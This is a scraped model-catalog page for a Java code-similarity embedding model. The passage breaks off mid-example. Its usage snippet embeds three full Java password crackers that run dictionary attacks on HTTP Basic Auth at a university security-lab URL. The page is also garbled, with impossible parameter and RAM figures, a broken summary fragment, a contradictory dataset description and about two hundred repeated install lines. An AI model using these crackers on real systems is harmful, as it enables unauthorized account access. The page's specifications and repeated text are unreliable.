SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0

6
—
by
buelfhood
Embedding Model
OTHER
1705.00652B params
New
6 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3811GB+ RAM
Mobile
Laptop
Server
Quick Summary

>\"+initialmd5);\n\t\t \ \ \n\n\t\t \n prss = rt.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1588GB+ RAM

Training Data Analysis

🔵 Good (6.0/10)

Researched training datasets used by SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0 with quality assessment

Specialized For

general
multilingual

Training Datasets (1)

c4
🔵 6/10
general
multilingual
Key Strengths
  • •Scale and Accessibility: 750GB of publicly available, filtered text
  • •Systematic Filtering: Documented heuristics enable reproducibility
  • •Language Diversity: Despite English-only, captures diverse writing styles
Considerations
  • •English-Only: Limits multilingual applications
  • •Filtering Limitations: Offensive content and low-quality text remain despite filtering

Explore our comprehensive training dataset analysis

View All Datasets

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
